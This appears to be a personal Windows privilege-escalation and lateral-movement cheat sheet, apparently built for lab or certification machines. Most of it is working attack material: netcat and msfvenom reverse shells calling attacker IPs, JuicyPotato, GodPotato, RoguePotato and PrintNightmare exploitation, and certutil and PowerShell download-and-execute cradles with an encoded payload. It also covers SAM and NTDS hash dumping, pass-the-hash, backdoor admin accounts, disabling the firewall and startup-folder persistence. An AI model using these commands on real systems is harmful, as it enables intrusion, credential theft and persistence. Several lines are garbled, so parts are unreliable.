Windows Directories

Directory	Description
C:\Windows\System32\drivers\etc\hosts	DNS file
C:\Windows\System32\drivers\etc\networks	Config file
C:\Windows\System32\config\SAM	Usernames and hashes
C:\Windows\System32\config\SECURITY	Security Log
C:\Windows\System32\config\SOFTWARE	Software Log
C:\Windows\System32\config\SYSTEM	System Log
C:\Windows\System32\winevt\	Windows Event Logs
C:\Windows\repair\SAM	Backup of Usernames and Password
C:\Documents and Settings\All Users\Start Menu\Programs\Startup	Windows XP Startup
C:\Documents and Settings\User\Start Menu\Programs\Startup	Windows XP User Startup
C:\Program Files\Microsoft\Windows\Start Menu\Programs\Startup	Windows 7+ User Startup
C:\Users*\App Data\Roaming\Microsoft\Windows\Start Menu\Programs\Startup	Windows User Startup
C:\Windows\Panther\	Prebuilt files
C:\Windows\App Compat\Programs\Amcache.hve	Amcache.hve
C:\Windows\Users*\NTUSER.dat	NTUSER.dat

- If you can't find an obvious privesc, check for other users on the machine and check if you run a reverse shell from a web app that is running as that user
  - `reg query "HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP" /s`
  - -- If you have Full rights over a directory, but you don't have rights over a file from within the directory, you can give yourself full access rights.
    -- If you find an executable on the machine, check with `tasklist /v` to see if there is a process that is running already. If it is, check if it has any public exploits.
    - `icacls <file_path> /grant <your_username>:(F)(M)`
      - `icacls root.txt /grant alfred:(F)`

Basic Info

- systeminfo
  - systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Network Card(s)" /C:"hotfix(s)" /c:"Windows Directory"
  - PS — Get-ComputerInfo | Select-Object CsName, OsName, OsArchitecture, WindowsVersion, WindowsBuildLabEx
- Check for Windows updates — wmic qfe get Caption,Description,HotFixID,InstalledOn IP
- Discover all drives on the machine — wmic logicaldisk get caption,description,providername
- Display hidden folders — cd C:\ — dir /a /q /a <folder> IP — dir -force PS
- IP Info
  - ipconfig /all
  - arp -a
  - route print dir /a "C:\Custom Tasks\Backup"
  - netstat -ano IP
    - Local address 0.0.0.0 IP
    - Local address 127.0.0.1 IP
    - Local address 172.16.1.150 IP
- Powershell bypass execution policy for scripts — Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
- Connect to a machine after you found credentials
  - impacket-psexec <username>:<password>@<IP>
  - winexe -U '<username>%<password>' //<IP> cmd.exe
- Set default PATH
  - View current PATH — echo %PATH%
  - set PATH=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\system32\WindowsPowerShell\v1.0\;
  - set PATH=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
  - set PATH=%SystemRoot%\system32;%SystemRoot%;
  - set PATH=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem
- Writable Paths
  - C:\Windows\Tasks
  - Legacy
  - C:\Windows\System32\Tasks
- Retrieve saved wireless passwords — netsh wlan show profiles — netsh wlan show profile ARIS_XPRT key=clear
- Once you obtained NT SYSTEM / Administrator on a machine
  - Enable RDP — reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  - Turn the firewall off completely — netsh advfirewall set allprofiles state off
    - Requires administrator privileges — may help us when trying to pivot to another host
  - Add a backdoor user — net user /add0 backdoor Password123
  - Add the user to administrators — net localgroup administrators /add0 backdoor
  - Login with RDP if possible — xfreerdp /u:backdoor /p:Password123 /cert:ignore /v:10.10.224.97 /dynamic-resolution +clipboard
  - OL with mimikatz

Lateral movement

- If you have another account on the machine, like apache, and you can't find a direct way to move laterally to get to it, try to check the webapp running and put a reverse shell in it and try to get another shell running, perhaps the apache user is running that web app
  - Craft

Discovered other accounts?

Preferably administrators ones

- runas — runas /user:administrator "nc.exe -e cmd.exe <LPORT> <LHOST>"
  - runas /user:administrator "nc.exe -e cmd.exe 192.168.45.170 4444*" — build in
- Get a new shell — Invoke-RunasCs1 IP
  - Invoke-RunasCs -Username <username> -Password <password> -Command "nc.exe <LHOST> <LPORT> -e cmd.exe"
    - Invoke-RunasCs -Username administrator -Password 14WatchDog -Command "nc.exe 192.168.45.170 5555 -e cmd.exe"
  - Invoke-RunasCs <username> <password> "nc.exe <LHOST> <LPORT> -e cmd.exe"
    - Invoke-RunasCs administrator 14WatchDog "nc.exe 192.168.45.170 5555 -e cmd.exe"

User Privileges

- whoami /priv
- SeImpersonatePrivilege IP
  - JuicyPotato
  - Windows 10 Build >= 1809
    Windows Server 2019
    - Juicy Potato does not work on these versions
    - GodPotato
      - https://github.com/BeichenDream/GodPotato/releases — GodPotato — BitsBlue
      - GodPotato-NET4.exe -cmd "C:\Users\nathan\Desktop\nc.exe 192.168.45.244 443 -e cmd.exe"
        - Windows 10 Pro - Build 18362
    - Windows Server 2008 Standard — JuicyPotato
      - Authtly
      - msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > shell.x86.exe — x86 — Create a reverse shell executable
      - msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -a x64 --platform Windows -f exe -o shell.exe — x64
      - https://github.com/ohpe/juicy-potato/releases/tag/v0.1 — x64 — Place both executables in the same directory
      - https://github.com/ivanitasmirnov/Juicy-Potato-x86/releases/tag/1.2 — x32
      - rlwrap nc -lvnp 5555 — Get a listener ready
      - JuicyPotato.x86.exe -t * -p C:\Users\apache\Desktop\shell.x86.exe -l 443 IP — Run the exploit
      - https://ohpe.it/juicy-potato/CLSID/ — Use different CLSIDs
        - Juicy Potato x86 exe -t * -p C:\Users\apache\Desktop\shell.x86.exe -l 443
        - JuicyPotato.x86.exe -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} IP — Got error "COM -> recv failed with error: 10038" ?
        - Juicy Potato x86 exe -t * -p C:\Users\apache\Desktop\shell.x86.exe -l 443
      - JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -a "/c c:\users\apache\documents\nc.exe -e cmd.exe 10.10.14.2 8888" -l 4444 -c "{BBC3F05E-D6b8-11D0-A075-00C04FB68820}"
    - Juicy Potato x86 exe -t * -p C:\Users\apache\Desktop\shell.x86.exe -l 443
  - SeAssignPrimaryToken
    - Same as SeImpersonatePrivilege
- SeRestorePrivilege IP
  - Hard
  - Exploitation Requirements
    - Find a service that can be altered into a malicious one. Most importantly, the service needs to be a manual start service.
    - https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilegeps1 — Exploitation Requirements
      - Run EnableSeRestorePrivilege.ps1 to enable this privilege to our PowerShell session. We now have e...
    - EnableSeRestorePrivilege.ps1
  - seclogon IP
    - Services that are known to have manual start permissions and that can be started by all users
    - sc sdshow seclogon — Verify if we can start/stop the service
    - reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\seclogon
    - https://github.com/ivanitasmirnov/SeRestoreAbuse — Download exploit
      - https://github.com/dentosy/redteam/blob/master/SeRestoreAbuse.exe — Compiled binary
      - SeRestoreAbuse.exe "cmd /c C:\Users\sc_apache2\Documents\nc.exe 192.168.45.216 -e cmd.exe"
- SeBackupPrivilege IP
  - robocopy /b C:\Users\administrator\Desktop\ \contents — robocopy
    - copy the contents of any directory on the system no matter the owner
  - getting the contents of SAM and SYSTEM file to get all the hashes on the local machine
    - reg save hklm\sam C:\Temp\sam IP
      - reg save hklm\system C:\Temp\system
      - create ff if Temp doesn't exist
    - Download the files locally on kali
    - Extract the hashes from both files system and sam
      - creddump7
        - git clone https://github.com/Tib3rius/creddump7
        - pip3 install pycryptodome
        - cd creddump7
        - python3 pwdump.py /home/kali/system /home/kali/sam
      - impacket-secretsdump -sam sam -security security -system system LOCAL
        - make sure you get the files name correct
    - Crack hashes
      - john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
    - Pass-The-Hash IP
      - If win rm is enabled IP
        - Default Port: 5985
      - pth-winexe -U 'admr%aad3b435b51404eaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //10.10.240.66 cmd.exe
        - admin:1001:aad3b435b51404eaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da::: — Original Hash
      - evil-winrm -u Admin -H a9fdfa038c4b75ebc76dc855dd74f0da -i 10.10.87.105
      - Connect to the machine
    - impacket-secretsdump -ntds ntds.dit -system system LOCAL — Dump all of the hashes in the domain
    - If the hashes extracted from **sam** and **system** do not contain the necessary hashes, we need to get the hashes from AD, for this we need the **ntds.dit** file
      - ntds.dit = domain controller equivalent of the local SAM file. Blacklisted HTB
      - Create a shadow copy and make it visible as the Z:\ drive
        - With the Z:\ drive exposed, we can use robocopy again but this time it will be used to move the backup ntds.dit file to C:\windows\tasks\ folder and not the running one
          - cd Z:
          - cd windows
          - cd ntds
          - robocopy /b \ C:\windows\tasks\ NTDS.dit
          - check for ntds.dit in C:\windows\tasks
      - Use DiskShadow to make a shadow copy of the C:\ drive
        - powershell -ep bypass
          - cd C:\windows\tasks
        - set context persistent nowriters
          add volume c: alias temp
          create
          expose %temp% z:
          - type diskshadow.txt
            - echo "set context persistent nowriters" | out-file .\diskshadow.txt -encoding ascii
            - echo "add volume c: alias temp" | out-file .\diskshadow.txt -encoding ascii -append
            - echo "create" | out-file .\diskshadow.txt -encoding ascii -append
            - echo "expose %temp% z:" | out-file .\diskshadow.txt -encoding ascii -append
            - Number of shadow copies listed: 1
            - Running exec +1 +0 +0
            - X: Drive letter(s) word can cause problems.
            - The shadow copy was successfully exposed as z:\.
        - diskshadow.exe /s C:\windows\tasks\diskshadow.txt
    - impacket-secretsdump -ntds ntds.dit -system system LOCAL — Dump all of the hashes in the domain
- SeTakeOwnershipPrivilege IP
- SeDebug
- SeLoadDriver

Service Accounts

- Access

Improve your shell

- rlwrap nc -nvlp <listenPort> — scl install rlwrap -y — Install rlwrap

Token Impersonation - Rogue Potato

- Requires Kiosk vulnerabe to log in RDP, preferably Objective ... you obtain the privileges of that access token.
- Type of tokens
  - Impersonate level tokens IP
  - Delegate tokens IP
- Obtain RDP session as the admin user
  - xfreerdp /u:admin /p:password123 /cert:ignore /v:10.10.51.115 /dynamic-resolution +clipboard
  - whoami /priv — Open CMD with Run as Administrator and check if you have SeImpersonatePrivilege
- socat tcp-listen:135,reuseaddr,fork tcp:10.10.51.115:9999 — Set up a socat redirector in Linux
  - The default port used by Rogue Potato Exec...
- Download PsExec to the target machine and transfer a reverse shell payload to the target
  - https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
  - msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -a x64 --platform Windows -f exe -o shell.exe
  - python3 -m http.server 8000
  - certutil.exe -urlcache -split -f http://10.14.58.144:8000/PsExec64.exe PsExec64.exe
  - certutil.exe -urlcache -split -f http://10.14.58.144:8000/shell.exe shell.exe
- Run PsExec64.exe to trigger the shell.exe executable you created with the permissions of the "local service" account
  - nc -lvnp 444 — PsExec64.exe -i -u "nt authority\local service" C:\Users\user\shell.exe
  - rev_shell.exe on port 5555 — https://github.com/antonioCoco/RoguePotato/releases/tag/1.0 — Create another rev_shell payload with another port and transfer the roguepotato.exe on the victim's machine
  - RoguePotato.exe -r 10.10.10.10 -e "C:\Users\User\rev_shell.exe" -l 9999 — Run RoguePotato.exe exploit

PrintNightmare

- RCE + Privesc to NT SYSTEM
  - Scan a target machine to find if the print spooler service is running
    - rpcdump.py @10.10.221.58 | egrep 'MS-RPRN|MS-PAR'
      - If it returns a value it should be vulnerable!
  - Craft a malicious DLL
    - x64 arch
    - x32 arch
    - msfvenom -p windows/shell_reverse_tcp LHOST=10.10.221.58 LPORT=4444 -a x64 --platform Windows -f dll -o nightmare64.dll
    - msfvenom -p windows/shell_reverse_tcp LHOST=10.10.221.58 LPORT=4444 -a x86 --platform Windows -f dll -o nightmare86.dll
  - Start our SMB Server
    - impacket-smbserver urs Share -smb2support
    - Share name = urs
  - Have the listener started
    - nc -lvnp 4444
  - Exploiting Print Spooler with CVE-2021-1675py IP
    - python3 CVE-2021-1675.py user:'password123'@10.10.221.58 '10.14.58.144\urs\nightmare64.dll'
    - python3 CVE-2021-1675.py user:'password123'@10.10.221.58 '10.14.58.144\share\nightmare64.dll'
  - No Credentials, but we have a foothold on the machine (no password)
  - https://juggernaut-sec.com/printnightmare/

Lateral movement

- Machine Start-up folder IP
  - `icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"`
    - Machine startup folder: Any startup applications in that folder (executables or batch scripts) will execute when ANY user logs on to the system
  - `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"`
    - `accesschk.exe -wsud "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" -accepteula`
- User Start-up folder
  - `icacls "C:\Users\bob&Mark$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"`
    - Test to the specific user logging on and only executes for that user
- Crafting a Malicious Batch Script
  - https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
    - Edit the ps1 script to contain on the last line ... Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT>
    - Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT>
  - Have a python server ready to download the PS shell
    - python -m http.server 8000
  - Open Powershell
    - powershell -ep bypass
    - cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
      - Go to the machine's start-up folder
  - Execute the script directly from the victim's machine
    - Download the Shell on the victim's PC and place it a public directory
      - certutil.exe -urlcache -split -f http://10.14.58.144:8000/Invoke-PowerShellTcp.ps1 Invoke-PowerShellTcp.ps1
      - cd C:\Temp
    - Create the malicious .bat file in CMD
      - echo powershell.exe -ExecutionPolicy Bypass -File "C:\Temp\Invoke-PowerShellTcp.ps1" > startupshell.bat
      - cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
    - Restart the system and wait for an admin/administrator to log in
- Exploitation examples
  - Manual
    - Payload
      - Download and execute the Invoke-PowerShellTcp.ps1 script from out python server
      - `iex(new-object net.webclient).downloadstring('http://10.14.58.144:8000/Invoke-PowerShellTcp.ps1")`
    - Encoding the payload
      - `[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("iex(new-object net.webclient).downloadstring('http://10.14.58.144:8000/Invoke-PowerShellTcp.ps1')"))`
    - Load and execute in PS memory directly from our python server
      - nc -lvnp 4444 — Open the netcat listener
    - Create the batch file
      - echo powershell.exe -nop -ep bypass -w hidden -e
        aQB1AHcAcABvAGUAcwBoAGUAbABsAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAcAAgAGIAeQAgAGIAeQAgAHcAIAAtAGUAIAAiAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGMAIAAiAGUAeAAgAHMAaAAgAHMAaAAuAGUAeAAgAC0AIgAgAC0AIgAgAHcAIAAtAGU